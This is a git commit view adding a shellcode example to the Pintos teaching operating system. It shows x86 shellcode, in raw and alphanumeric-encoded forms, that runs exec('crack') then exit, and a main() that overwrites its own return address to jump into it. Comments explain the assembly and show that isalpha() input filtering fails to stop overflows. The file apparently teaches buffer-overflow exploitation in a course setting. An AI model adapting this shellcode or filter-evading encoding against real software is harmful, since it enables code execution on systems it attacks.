aboutsummaryrefslogtreecommitdiffstats
path: root/src/examples/shellcode.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/examples/shellcode.c')
-rw-r--r--src/examples/shellcode.c81
1 files changed, 81 insertions, 0 deletions
diff --git a/src/examples/shellcode.c b/src/examples/shellcode.c
new file mode 100644
index 0000000..63e3fe9
--- /dev/null
+++ b/src/examples/shellcode.c
@@ -0,0 +1,81 @@
+/* klaar@ida
+
+ pintos -v --fs-disk=2 -p ../examples/crack -a crack -p ../examples/shellcode -a shellcode -- -f -q run 'shellcode'
+
+ -*- Woahhh, have fun -*-
+ http://www.phrack.org/issues.html?issue=49&id=14#article
+ http://www.phrack.org/issues.html?issue=57&id=15#article
+
+ Somewhat simpler to achieve in Pintos actually.
+ */
+
+#include <syscall.h>
+
+#if 0
+/* This it the below assembly code in binary form. It runs. To get it,
+ * just compile the code below and use the debugger to dump the code
+ * in the main function. */
+char shellcode[] =
+ "\x90\x90\x90\x90\x90\xe9\x0b\x00"
+ "\x00\x00\x6a\x02\xcd\x30\x31\xc0"
+ "\x50\x40\x50\xcd\x30\xe8\xf0\xff"
+ "\xff\xff""crack";
+#else
+/* And this is rather scary amazing... This is also the below
+ * assembly code in binary form, but now using ONLY alphanumeric
+ * characters. It works flawless... Using something like isalpha() on
+ * input does not prevent crackers to exploit buffer overflows.
+ */
+char shellcode[] =
+ "LLLLZh7JWUX57JWUHPSPPSRPPaWPVUUF"
+ "VDNfhKZfXf5vOfPDRPaAjeY0Lka0Tkah"
+ "9bdUY1LkbjIY0Lkg0tkhjUX0Dkk0Tkkj"
+ "8Y0Lkm0tkohEJZuX1Dkq1TkqjHY0Lku0"
+ "tkuCjqX0Dkzs2bdUjK201jPxP20REZuH"
+ "crackq";
+#endif
+
+int main( void )
+{
+#if 1
+ int *ret; /* A local variable is stored on the stack. */
+
+ ret = (int *)&ret + 2; /* Two steps above in the stack is the
+ * address to continue at when main
+ * return... the normal function return
+ * address. */
+ (*ret) = (int)shellcode; /* We overwrite it with the address to the
+ * shell code. This will check that the
+ * shell code works as expected. */
+ return 0;
+#else
+ /* Assembler code to do the following:
+ *
+ * exec("crack");
+ * exit();
+ *
+ * Apparently the code 0x01 can not be sent as input to pintos, so
+ * it can not be part of any instruction. Reason unknown. Theory:
+ * 0x01 may be grabbed as Ctrl-a by QEMU ?
+ *
+ * Translate push 0x01 ==> ... push %eax
+ *
+ * The tricky part is to figure out at which address the name of the
+ * program to start is stored. The call instruction solves it
+ * nicely. It saves the following address as return address.
+ */
+
+ __asm__("jmp 0x0f;" /* jump to CALL */
+/* actual address of string pushed as return address by CALL */
+ "push $0x2;" /* push EXEC syscall number */
+ "int $0x30;" /* make syscall */
+ "xor %eax,%eax;" /* load 0 in eax */
+ "push %eax;" /* push exit_status */
+ "inc %eax;" /* inc eax to 1 */
+ "push %eax;" /* push EXIT syscall number */
+ "int $0x30;" /* make syscall */
+/* CALL */"call -0x0C;" /* jumps back again */
+ ".string \"crack\";" /* program to start */
+ );
+#endif
+}